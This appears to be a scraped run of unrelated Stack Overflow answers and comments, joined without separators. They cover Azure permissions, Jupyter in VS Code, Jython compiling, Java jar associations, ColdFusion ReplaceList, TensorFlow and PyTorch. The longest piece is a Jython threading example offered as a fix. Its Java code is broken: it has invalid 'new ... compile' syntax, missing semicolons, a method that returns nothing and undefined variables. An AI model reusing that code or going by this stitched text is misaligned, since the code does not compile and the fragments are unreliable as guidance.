You can try adding this at the end of your list... "microsoft.directory/servicePrincipals/restore"
In my case, it was caused by activating the wrong virtual environment from another folder. Activating the one I was working with solved the error.
Oh hahaha, thanks @Drew Reese!
Have you fixed it? Now I'm having the same :((
You can also use a public Box URL as the img src. I haven't tried Google Drive or OneDrive but those might work as well.
你好,我也遇到了这个问题,希望可以帮助到你。
首先选择kernel,在选择现有服务器,填写jupyter notebook的url即可。
具体可参考如下链接:https://vscode.github.net.cn/docs/datascience/jupyter-notebooks#_connect-to-a-remote-jupyter-server
Underneath your code snippet demonstrating PythonInterpreter('some string...') you say
This seems to "compile" the script.
No, this executes the script. Which is why you haven't been able to reuse the instance.
Per the docs:
PythonInterpreter.compile('some string...')
Compiles a string of Python source as either an expression (if possible) or a module.
Your question has two parts. Focusing on the easier question, without getting too into the specifics of your setup:
The script contains a function that I then call many times [...] Is there a way to save some kind of object (PyCode?) so when another "host" comes along I do not have to call exec(script) again?
Yes. Based on the Jython docs, you should be first compiling the string into your PyCode object via: PyCode my_func= new PythonInterpreter.compile('some string expression or module') that you can then pass around to local threads. Which brings us to the second and slightly more difficult question
This entire process may be repeated for other hosts. Multiple hosts may need to execute the script concurrently. [...] Due to concurrency, I cannot simply hold on to the PythonInterpreter instance and reuse it. I would like to create a new instance of PythonInterpeter and give it some object rather than having it parse the script again.
You will need to manage local threads for each host via threadLocalStateInterpreter -- then simply replace your python.set('env_var',env_var) with a thread-safe python.setLocals()`. Something like
import org.python.core.*;
import org.python.util.PythonInterpreter;
import java.util.concurrent.*;
public class JythonRemoteExecutor {
// shared thread-safe, compiled Python function
private static PyCode compiledFunction;
// thread-local interpreter for each connecting host
private static ThreadLocal<PythonInterpreter> threadLocalStateInterpreter =
ThreadLocal.withInitial(() -> {
PythonInterpreter interp = new PythonInterpreter();
return interp;
});
// compile your Python function once at startup
static {
String pythonCode = "def your_function():...";
PythonInterpreter compiler = new PythonInterpreter();
compiledFunction = compiler.compile(pythonCode);
compiler.close();
}
/* execute the shared function for a specific host */
public static PyObject executeForHost(String hostId) {
// this is where you begin to take advantage of that precompiled
// code from earlier
PythonInterpreter interp = threadLocalStateInterpreter.get();
// execute the compiled function in this interpreter's namespace,
// this will allow you to use `your_function()` in this thread
interp.exec(compiledFunction);
// set local variables specific to this host using setLocals()
interp.setLocals(new PyStringMap() {{
__setitem__("host_id", new PyString(hostId));
__setitem__("host", host);
__setitem__("tableName", tableName);
__setitem__("state", state);
__setitem__("index", index);
__setitem__("values", values);
}});
interp.exec("row(host, tableName, state, index, values)");
}
/**
* example driver program simulating multiple hosts connecting and executing
*/
public static void main(String[] args) throws InterruptedException {
ExecutorService executor = Executors.newFixedThreadPool(3); // set as needed
Callable<String> host1Task = () -> {
PyObject result = executeForHost("Host-1");
return "Host-1 finished executing."
};
Callable<String> host2Task = () -> {
PyObject result = executeForHost("Host-2");
return "Host-2 finished executing."
};
Callable<String> host3Task = () -> {
PyObject result = executeForHost("Host-3");
return "Host-3 finished executing."
};
// execute all host connections concurrently
Future<String> future1 = executor.submit(host1Task);
Future<String> future2 = executor.submit(host2Task);
Future<String> future3 = executor.submit(host3Task);
// print results -- should see all hosts finish executing
try {
System.out.println(future1.get());
System.out.println(future2.get());
System.out.println(future3.get());
} catch (ExecutionException e) {
e.printStackTrace();
}
executor.shutdown();
}
}
The problem was resolved by running:
ftype jarfile="C:\Program Files\Eclipse Adoptium\jdk-21.0.7.6-hotspot\bin\javaw.exe" -jar "%1" %
My application was compiled in newer version of java, ftype jarfile was returning version 1.8
---
Run CMD with Administrator privileges
also, how can I change the question type from "Advice" back to a general question? I tried editing, but there doesn't seem to be an option to do that.
If that's the official way looks like the newest supported version is 2.17, not 2.18. Looking at the support matrix for the newest image. Specifically 25.02
Do you actually have a proven performance issue with map (which would be easier to use).
Thank you erickson. after I changed duration method, it worked for me.
There are 2048 possible standard IDs (11 bit).
disable autocompletion only in the Python Console
I don't think it is possible or was possible before, do you have some specific issue with the autocompletion?
I'm just wondering why this question has a "Best practices" tag when it seems to be excluded from the original question's tag section (created by the OP). Can you tell me why this specific question appears differently from others on SO? Is this a new update on this site? After reading Jon Skeet’s post, I now realize that question discussion is allowed here on SO. That's interesting.
I figured out the issue. The function manage/versions/getRecordsInfo was writing values to draw, start and length. In earlier versions of dataTables, it seems that getting the post variable after setting would overwrite the values, but in this upgraded version I needed to completely remove them from my data variable.
@scott Dettling, You could use replacelist() function in ColdFusion. Here is example based on your sample input provided by you.
<cfscript>
input = "Alertas del Condado: Esto es una prueba. Por favor, ignórelo. Gracias.";
fromChars = "á,é,í,ó,ú,ñ,Á,É,Í,Ó,Ú,Ñ";
toChars = "a,e,i,o,u,n,A,E,I,O,U,N";
cleaned = ReplaceList(input, fromChars, toChars);
writeOutput(cleaned);
</cfscript>
Note : We can able to resolve this by using Java’s java.text.Normalizer to decompose accented characters and remove the diacritics. But the best way to use replacelist() function in CFML. I hope that help you lot !. Thank you !
I came across this post and indeed it threw me off: when I read "Permission denied" I think file ownership: the user executing the script is not in the right group. But in this case, my problem was also that my Python script did not have the execute permission. Adding that before building the script and adding '#!/usr/bin/env python' to the script allowed me to use the APP_SCRIPT environment variable when starting the container
Can any admin help me change the typo of this question? I did not know about the experiment and that "Advice" cannot flag correct answers...
@Quentin oh should I close this issue and open a Q&A?
You have marked this is "Advice" which is an experiment Stackoverflow is running for open ended discussion instead of the usual Q&A format where a useful answer can be selected as correct or which can be closed when a duplicate question already exists.
@Charlieface you forgot to use base.Price in ApplyPromotion https://dotnetfiddle.net/4J43Bb
I was wondering if it is possible to expose an http endpoint to display that status back to an end user
Yes, it is
and how one would go about doing that?
Personally I would just create a Web API project with background (hosted) service which will do actual work and the status endpoint and host it as a Windows service.
ASP.NET Core is basically a console app with extra dependencies (it comes with build-in Kestrel web server) so it can easily hosted as a Windows service.
@jcalz - What do you mean by "open-ended question"? I am sorry I did not explain my case enough - I do not care about the order of the elements. Only thing I need is that array contains all the elements. Is that still impossible? I will change the body of the post to clarify my needs.
tf.keras.layers.LSTMCell expects the argument to be named units, not num_units
lstm_cells = [
tf.keras.layers.LSTMCell(
units=num_nodes[li],
kernel_initializer=tf.keras.initializers.GlorotUniform()
)
for li in range(n_layers)
]
@Panda-Kim Shouldn't they automatically align? Maybe there are actually trailing spaces... Hard to tell without an example (see my reply above).
And isn't .eq() just the method form of ==? Why would it behave any differently?
I found the problem. There is not one, but TWO different ways to disable gradient computation and ComfyUI used the other one. Optimization works if with torch.torch.inference_mode(False): is prepended. I found that out thanks to https://github.com/comfyanonymous/ComfyUI/issues/2946